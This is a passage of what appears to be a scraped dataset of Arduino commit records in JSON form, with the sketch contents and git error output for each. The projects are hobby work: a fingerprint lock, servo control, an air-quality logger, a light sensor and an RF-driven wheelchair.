code\n","repos":"bloomlj\/jllock,bloomlj\/jllock,bloomlj\/jllock","old_file":"jllockfp\/jllockfp.ino","new_file":"jllockfp\/jllockfp.ino","new_contents":"\/*************************************************** \n This is an example sketch for our optical Fingerprint sensor\n\n Designed specifically to work with the Adafruit BMP085 Breakout \n ----> http:\/\/www.adafruit.com\/products\/751\n\n These displays use TTL Serial to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\n#include <Adafruit_Fingerprint.h>\n#include <SoftwareSerial.h>\n\nint ez();\nuint8_t getFingerprintEnroll(uint8_t id);\nenum mode {SIGN = 'S',ENROLL = 'E',DELETE = 'D'};\nchar cmd; \nuint8_t fid = 0;\n\n\/\/ pin #2 is IN from sensor (GREEN wire)\n\/\/ pin #3 is OUT from arduino (WHITE wire)\nSoftwareSerial mySerial(2, 3);\n\n\nAdafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);\n\nvoid setup() \n{\n cmd = SIGN; \/\/default mode is sign;\n \n Serial.begin(9600);\n Serial.println(\"SWJTU JL Makerspace Finger Print Lock Sensor Now Start.\");\n\n \/\/ set the data rate for the sensor serial port\n finger.begin(57600);\n \n if (finger.verifyPassword()) {\n Serial.println(\"Found fingerprint sensor!\");\n } else {\n Serial.println(\"Did not find fingerprint sensor :(\");\n while (1);\n }\n Serial.println(\"Waiting for valid finger...\");\n}\n\nvoid loop() \/\/ run over and over again\n{\n Serial.println(cmd);\n\n if(cmd == SIGN){\n \/\/sign\n \/\/getFingerprintIDez();\n getFingerprintID();\n }\n \n if(Serial.available()){\n cmd = Serial.read();\n\n \/\/Serial.flush();\n Serial.println(\"Get CMD Code:\");\n Serial.println(cmd);\n }\n \n \/\/Input enroll & delete ID\n \n if(cmd == ENROLL ||cmd == DELETE){\n fid = 0;\n Serial.println(\"Type in the ID # you want to save this finger as...\");\n while (true) {\n while (! Serial.available());\n char c = Serial.read();\n if (! isdigit(c)) break;\n fid *= 10;\n fid += c - '0';\n }\n Serial.print(\"The ID Inputed is #\");\n Serial.println(fid);\n\n \n if(cmd == ENROLL){\n \/\/Enroll\n Serial.print(\"Enroll the new finger.\");\n Serial.println(fid);\n while (! getFingerprintEnroll(fid) );\n }\n \n if(cmd == DELETE){\n \/\/delete\n Serial.print(\"Delete finger.\");\n Serial.println(fid);\n deleteFingerprint(fid);\n }\n\n }\n \/\/ the default cmd.\n cmd = SIGN; \/\/Return to SIGN mode.\n\n}\n\nuint8_t getFingerprintID() {\n uint8_t p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.println(\"No finger detected\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n \/\/ OK converted!\n p = finger.fingerFastSearch();\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Found a print match!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_NOTFOUND) {\n Serial.println(\"Did not find a match\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n } \n \n \/\/ found a match!\n Serial.print(\"Found ID #\"); Serial.print(finger.fingerID); \n Serial.print(\" with confidence of \"); Serial.println(finger.confidence); \n}\n\n\/\/ returns -1 if failed, otherwise returns ID #\nint getFingerprintIDez() {\n uint8_t p = finger.getImage();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.image2Tz();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.fingerFastSearch();\n if (p != FINGERPRINT_OK) return -1;\n \n \/\/ found a match!\n Serial.print(\"Found ID #\"); Serial.print(finger.fingerID); \n Serial.print(\" with confidence of \"); Serial.println(finger.confidence);\n return finger.fingerID; \n}\n\n\n\nuint8_t getFingerprintEnroll(uint8_t id) {\n Serial.print(\"Enroll the new finger---.\");\n Serial.println(id);\n uint8_t p = -1;\n Serial.println(\"Waiting for valid finger to enroll\");\n while (p != FINGERPRINT_OK) {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.println(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n break;\n default:\n Serial.println(\"Unknown error\");\n break;\n }\n }\n Serial.print(\"Enroll the new finger.---\");\n Serial.println(id);\n \/\/ OK success!\n\n p = finger.image2Tz(1);\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n Serial.println(\"Remove finger\");\n delay(2000);\n p = 0;\n while (p != FINGERPRINT_NOFINGER) {\n p = finger.getImage();\n }\n\n p = -1;\n Serial.println(\"Place same finger again\");\n while (p != FINGERPRINT_OK) {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.print(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n break;\n default:\n Serial.println(\"Unknown error\");\n break;\n }\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz(2);\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n\n \/\/ OK converted!\n p = finger.createModel();\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Prints matched!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_ENROLLMISMATCH) {\n Serial.println(\"Fingerprints did not match\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n } \n \n \n \n p = finger.storeModel(fid);\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Stored!\");\n Serial.print(\"Enroll the new finger.\");\n Serial.println(fid);\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_BADLOCATION) {\n Serial.println(\"Could not store in that location\");\n return p;\n } else if (p == FINGERPRINT_FLASHERR) {\n Serial.println(\"Error writing to flash\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n } \n}\n\n\n\nuint8_t deleteFingerprint(uint8_t id) {\n uint8_t p = -1;\n \n p = finger.deleteModel(id);\n\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Deleted!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_BADLOCATION) {\n Serial.println(\"Could not delete in that location\");\n return p;\n } else if (p == FINGERPRINT_FLASHERR) {\n Serial.println(\"Error writing to flash\");\n return p;\n } else {\n Serial.print(\"Unknown error: 0x\"); Serial.println(p, HEX);\n return p;\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jllockfp\/jllockfp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21ca7dc83c921b7c5e8a6b85cb605183f6ed17a7","subject":"Created a Camera servo control-sketch","message":"Created a Camera servo control-sketch\n","repos":"CasperPlatform\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches","old_file":"Arduino\/CameraServoControl\/CameraServoControl.ino","new_file":"Arduino\/CameraServoControl\/CameraServoControl.ino","new_contents":"#include <Smartcar.h>\n#include <Servo.h>\n\nString readString;\nServo servo1, servo2;\n\nvoid setup() {\n \n servo1.attach(9);\n servo2.attach(10);\n Serial.begin(9600);\n servo1.write(90);\n servo2.write(90);\n Serial.println(\"servo-test-22-dual-input\");\n while(!Serial){\n \n }\n}\n\nvoid loop() {\n\n while (Serial.available()) {\n char c = Serial.read(); \/\/gets one byte from serial buffer\n readString += c; \/\/makes the string readString\n Serial.write(c);\n delay(2); \/\/slow looping to allow buffer to fill with next character\n }\n\n if (readString.length() >0) {\n Serial.println(readString); \/\/so you can see the captured string \n int n = readString.toInt(); \/\/convert readString into a number\n servo1.write(n);\n servo2.write(n);\n \n readString=\"\"; \/\/empty for next input\n } \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/CameraServoControl\/CameraServoControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f6f1968cdd3bcedfef2d59ff774a23505fcf183","subject":"Cosmetic","message":"Cosmetic\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/sha1.ino","new_file":"teensy-hsm\/sha1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c08c256c0bdaf2b51c2b6ee1cc8baf500296a91f","subject":"finished writing calibration file","message":"finished writing calibration file\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_calib.ino","new_file":"motor_calib.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ed7bb6fde09d11af69e84169d0c71f11cebc7b55","subject":"Light sensor pins","message":"Light sensor pins\n\nsensor wiring\n","repos":"Emiliyan-Sokolov\/diplomna-rabota,Emiliyan-Sokolov\/diplomna-rabota","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bac99cafdf2bc807ec7c57971ede72b70532b4f4","subject":"Create shinyei.ino","message":"Create shinyei.ino","repos":"nejohnson2\/ShinyeiPPD42","old_file":"shinyei\/shinyei.ino","new_file":"shinyei\/shinyei.ino","new_contents":"#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BME280.h>\n\n#define SEALEVELPRESSURE_HPA (1013.25)\n\n\/\/ SD Card Setup --------------------------------------\nconst int chipSelect = 10;\nFile dataFile;\n\n\/\/ BME280 Setup --------------------------------------\nAdafruit_BME280 bme;\n\n\/\/ ShinyeiPPD42 Setup --------------------------------------\nconst int SHINYEI_INPUT_P1 = 2; \/\/ Digital Pin 2 (INT0) - P1 - Particles >0.1\nconst int SHINYEI_INPUT_P2 = 3; \/\/ Digital Pin 3 (INT1) - P2 - Particles >2.5\n\nvolatile unsigned long p1_timer_start = 0;\nvolatile unsigned long p2_timer_start = 0;\nvolatile float p1_ratio;\nvolatile float p2_ratio;\nvolatile float countP1;\nvolatile float countP2;\nvolatile float PM25count;\nvolatile float PM10count;\n\nunsigned long starttime;\nunsigned long sampletime_ms = 5000;\n\n\/\/ variables for dust calulations --------------------------------------\nconst double pi = 3.14159;\nconst double density = 1.65 * pow(10, 12);\nconst double r10 = 2.6 * pow(10, -6);\nconst double vol10 = (4.0 \/ 3.0) * pi * pow(r10, 3);\nconst double mass10 = density * vol10;\nconst double r25 = 0.44 * pow(10, -6);\nconst double vol25 = (4.0 \/ 3.0) * pi * pow(r25, 3);\nconst double mass25 = density * vol25;\nconst double K = 3531.5;\n\nstruct Shinyei {\n volatile unsigned long p1_pulse_time;\n volatile unsigned long p2_pulse_time;\n volatile float concSmall;\n volatile float concLarge;\n};\n\nShinyei data;\n\nvoid setup() {\n pinMode(SHINYEI_INPUT_P1, INPUT);\n pinMode(SHINYEI_INPUT_P2, INPUT);\n\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect.\n }\n\n Serial.print(\"Initializing SD card...\");\n if (initSD()) {\n }\n Serial.println(\"card initialized.\");\n\n if (!bme.begin()) {\n Serial.println(\"Could not find a valid BME280 sensor, check wiring!\");\n while (1);\n }\n\n starttime = millis();\n\n \/\/ Interrupts for PPD42 --------------------------------------\n attachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P1), P1, CHANGE);\n attachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P2), P2, CHANGE);\n}\n\nvoid loop() {\n if ((millis() - starttime) > sampletime_ms) {\n write_file();\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Utility Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean initSD() {\n \/\/ this is the default slave select. must be set to output\n pinMode(SS, OUTPUT);\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n while (1) ;\n }\n \/\/ Open up the file we're going to log to!\n dataFile = SD.open(\"datafile.txt\", FILE_WRITE);\n if (!dataFile) {\n \/\/ Wait forever since we cant write data\n while (1) ;\n }\n return true;\n}\n\nvoid write_file() {\n \/\/ prevent interrupts from happening during writing\n detachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P1));\n detachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P2));\n\n calcDust(); \/\/ calculate ratio\/concentration\n\n String dataString = \"\";\n\n dataString += bme.readTemperature(); \/\/ celsius\n dataString += \",\";\n dataString += bme.readHumidity(); \/\/ relative humidity\n dataString += \",\";\n dataString += bme.readPressure(); \/\/ pascals\n dataString += \",\";\n dataString += data.p1_pulse_time; \/\/ LPO\n dataString += \",\";\n dataString += data.p2_pulse_time; \/\/ LPO\n dataString += \",\";\n dataString += data.concLarge; \/\/ pm10 ug\/m3\n dataString += \",\";\n dataString += data.concSmall; \/\/ pm2.5 ug\/m3\n\n Serial.println(dataString);\n dataFile.println(dataString); \/\/ write data to sd card\n dataFile.flush(); \/\/ clear buffer\n\n \/\/ reset values\n data.p1_pulse_time = 0;\n data.p2_pulse_time = 0;\n\n starttime = millis();\n\n attachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P1), P1, CHANGE);\n attachInterrupt(digitalPinToInterrupt(SHINYEI_INPUT_P2), P2, CHANGE);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ ShinyeiPPD42\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/*\n Generate PM10 and PM2.5 counts\n*\/\nvoid calcDust() {\n \/\/ Generates PM10 and PM2.5 count from LPO.\n \/\/ Derived from code created by Chris Nafis\n \/\/ http:\/\/www.howmuchsnow.com\/arduino\/airquality\/grovedust\/\n\n p1_ratio = data.p1_pulse_time \/ (sampletime_ms * 10.0);\n p2_ratio = data.p2_pulse_time \/ (sampletime_ms * 10.0);\n\n \/\/ from shinyei datasheet\n countP1 = 1.1 * pow(p1_ratio, 3) - 3.8 * pow(p1_ratio, 2) + 520 * p1_ratio + 0.62;\n countP2 = 1.1 * pow(p2_ratio, 3) - 3.8 * pow(p2_ratio, 2) + 520 * p2_ratio + 0.62;\n\n PM10count = countP2;\n PM25count = countP1 - countP2;\n\n \/\/ Calculate ug\/m3 from counts. Used in Dustduino\n \/\/ and originally developed by researchers at Drexel\n \/\/ http:\/\/github.com\/nejohnson2\/ShinyeiPPD42\n\n \/\/ begins PM10 mass concentration algorithm\n data.concLarge = (PM10count) * K * mass10;\n\n \/\/ next, PM2.5 mass concentration algorithm\n data.concSmall = (PM25count) * K * mass25;\n}\n\n\/*\n Interrupt for P1 >0.1\n*\/\nvoid P1() {\n if (digitalRead(SHINYEI_INPUT_P1) == LOW) {\n p1_timer_start = micros();\n }\n else {\n \/\/only worry about this if the timer has actually started\n if (p1_timer_start != 0)\n {\n data.p1_pulse_time += micros() - p1_timer_start;\n p1_timer_start = 0; \/\/restart the timer\n }\n }\n}\n\n\/*\n Interrupt for P2 >2.5\n*\/\nvoid P2() {\n if (digitalRead(SHINYEI_INPUT_P2) == LOW) {\n p2_timer_start = micros();\n }\n else {\n \/\/only worry about this if the timer has actually started\n if (p2_timer_start != 0)\n {\n data.p2_pulse_time += micros() - p2_timer_start;\n p2_timer_start = 0; \/\/restart the timer\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shinyei\/shinyei.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e5a2a1b8fc1b7317a94753d2e639fac01dc4e2fc","subject":"Create debugger.ino","message":"Create debugger.ino","repos":"CodeCorp\/Arpiano,CodeCorp\/Arpiano","old_file":"arduino\/debugger.ino","new_file":"arduino\/debugger.ino","new_contents":"void setup() {\n Serial.begin(9600);\n\n}\n\nvoid loop() {\n float a = analogRead(0);\n float b = analogRead(1);\n float c = analogRead(2);\n float d = analogRead(3);\n float e = analogRead(4);\n float f = analogRead(5);\n float g = analogRead(6);\n float h = analogRead(7);\n Serial.println(a);\n Serial.println(b);\n Serial.println(c);\n Serial.println(d);\n Serial.println(e);\n Serial.println(f);\n Serial.println(g);\n Serial.println(h);\n\n Serial.println(\"Next Set\");\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/debugger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"416ace182a2de9cd6015e5cadb0e0957aa222567","subject":"Added Arduino code to control servo motors","message":"Added Arduino code to control servo motors\n","repos":"codeoftherings\/pH5.6,codeoftherings\/pH5.6,sagnik2013\/pH5.6,sagnik2013\/pH5.6","old_file":"servo.ino","new_file":"servo.ino","new_contents":"#include<Servo.h>\n\nint servoPin=9;\nint inputPin=8;\nint angle=0;\nServo servo;\nvoid setup() {\n servo.attach(servoPin);\n pinMode(inputPin, INPUT);\n}\n\nvoid loop() {\n if(digitalRead(inputPin)==HIGH)\n {\n for(angle=0;angle<=180;angle++)\n {\n servo.write(angle);\n }\n \n }\n else\n {\n for(angle=180;angle>=0;angle--)\n {\n servo.write(angle);\n }\n \n }\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5efd955bef9e67098099cbae9d9d05ce9dd7ae50","subject":"This works quite well now. As in, it works. Something works! Woo!","message":"This works quite well now. As in, it works. Something works! Woo!\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4280e5ccc77b9e088b4655f24bc2a230a1e2225d","subject":"Complete solution for maze, do not edit!","message":"Complete solution for maze, do not edit!\n","repos":"buuav\/hackathon1","old_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino","new_file":"Ultrasonic Wall Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ultrasonic' did not match any file(s) known to git\nerror: pathspec 'Wall' did not match any file(s) known to git\nerror: pathspec 'Follower\/Wall_AvoidancePID_Maze_\/Wall_AvoidancePID_Maze_.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0da408b6485a15834b13d02bb0042d80aea0abb9","subject":"Create emonTxSerialOnly.ino","message":"Create emonTxSerialOnly.ino","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/emonTx\/emonTxSerialOnly.ino","new_file":"OpenEnergyMonitor\/emonTx\/emonTxSerialOnly.ino","new_contents":"Sketch\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/emonTx\/emonTxSerialOnly.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28d9e6f23858c4945e20f2e595a362ee893e2e43","subject":"Added a couple of functions in order to make the code more readable.","message":"Added a couple of functions in order to make the code more readable.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"19ff27d36fbb29b4b761dd04043d37ab88bf6b74","subject":"added speed info","message":"added speed info\n\nglobal speed 200 minimum for going over bridge","repos":"Electroscholars\/LineFollower","old_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/big_chassis_working_rev1.ino","new_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/big_chassis_working_rev1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"30f93f7d33a9a0e44106824f473dadeb7e4d4430","subject":"Se crea proyecto de arduino ldr o fotoresistencia","message":"Se crea proyecto de arduino ldr o fotoresistencia\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"ldr\/ldr\/ldr.ino","new_file":"ldr\/ldr\/ldr.ino","new_contents":"\/* Fotoresistencia o LDR\n * Copyright: codigoelectronica.com\n * Author: Oscar Fernandez Alzate\n * License: MIT\n *\/\n\nconst int ledPin = 13;\nconst int sensorPin = 0;\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n int valueAnalog = analogRead(sensorPin);\n Serial.println(valueAnalog);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ldr\/ldr\/ldr.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"82de5769c66e140bc204c1553c58600b16b91b42","subject":"WheelCHair.ino added","message":"WheelCHair.ino added\n","repos":"im-gozmit\/HandicappedHelpingWheeler","old_file":"wheelchair.ino","new_file":"wheelchair.ino","new_contents":"#include<SPI.h>\n#include<RF24.h>\n#include<nRF24L01.h>\n#include \"printf.h\"\n\/\/receiver\n\/\/NRF ARDUINO\n\/\/1 GND GND\n\/\/2 VCC 3.3V\n\/\/3 CE 9 out\n\/\/4 CSN 10 out\n\/\/5 SCK 13 out\n\/\/6 MOSI 11 out\n\/\/7 MISO 12 in\n\n\/\/int radio_led = 13;\nint CE_PIN = 7, CSN_PIN = 8;\nRF24 Radio(CE_PIN, CSN_PIN);\nconst uint64_t pipeIn = 0xD4D4F0F0E1LL;\n\nstruct radio\n{\n int x1;\n} data;\n\/\/const int xpin = A0; \/\/ x-axis of the accelerometer\n\/\/const int ypin = A1; \/\/ y-axis\n\/\/const int zpin = A2; \/\/ z-axis (only on 3-axis models)\n\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/pinMode(radio_led, OUTPUT);\n Radio.begin();\n printf_begin();\n Radio.setPALevel(RF24_PA_MIN);\n Radio.setDataRate(RF24_250KBPS);\n Radio.openReadingPipe(0, pipeIn);\n Radio.startListening();\n Radio.printDetails();\n delay(2000);\n data.x1 = 0;\n pinMode(3,OUTPUT);\n pinMode(5,OUTPUT);\n pinMode(6,OUTPUT);\n pinMode(9,OUTPUT);\n \n}\n\nvoid loop()\n{\n\/\/ int x = analogRead(xpin); \/\/read from xpin \n \/\/int y = analogRead(ypin); \/\/read from ypin\n \n\/\/ int z = analogRead(zpin); \/\/read from zpin\n\n \/\/x=map(x,349,281,0,90);\n\/\/ y=map(y,200,280,0,90);\n\/\/ z=map(z,425,357,0,90);\n\/\/Serial.print(x); \n\/\/Serial.print(\"\\t\");\n\/\/Serial.print(y);\n\/\/Serial.print(\"\\t\");\n\/\/Serial.print(z);\n\/\/Serial.print(\"\\n\");\n\nif (Radio.available())\n {\n Radio.read(&data, sizeof(data));\n \/\/ digitalWrite(radio_led, HIGH);\n }\n else\n {\n\/\/ digitalWrite(radio_led, LOW);\n }\n Serial.print(data.x1);\n Serial.print(\" \");\n int x1=data.x1;\n\/*int x2=0;\nif((y>=40 && y<=55))\nx2=2;\nelse if(y>=55)\nx2=3;\nelse if(y<40)\nx2=1;*\/\n if(x1==1)\n {\n forward(180);\n }\n else if(x1==2)\n left(180);\n else if(x1==3)\n right(180);\n else if(x1==4)\n stop1();\n} \nvoid forward(int n)\n{\n Serial.println(\"FORWARD\");\n analogWrite(3,n);\n analogWrite(5,0);\n analogWrite(6,0);\n analogWrite(9,n);\n}\n\nvoid left(int n)\n{\n Serial.println(\"LEFT\");\n analogWrite(3,n-80);\n analogWrite(5,0);\n analogWrite(9,0);\n analogWrite(6,n);\n}\n\nvoid right(int n)\n{\n Serial.println(\"RIGHT\");\n analogWrite(3,n);\n analogWrite(5,0);\n analogWrite(6,(n-80));\n analogWrite(9,0);\n}\n\nvoid stop1()\n{\n Serial.println(\"STOP\");\n analogWrite(3,0);\n analogWrite(5,0);\n analogWrite(6,0);\n analogWrite(9,0);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wheelchair.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"892b8133b5ea9ac8abcf7815f0304c13c6328308","subject":"Two way communication Receiver","message":"Two way communication Receiver","repos":"laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon","old_file":"arduino\/nRF24L01_Test_Node_0.ino","new_file":"arduino\/nRF24L01_Test_Node_0.ino","new_contents":"#include 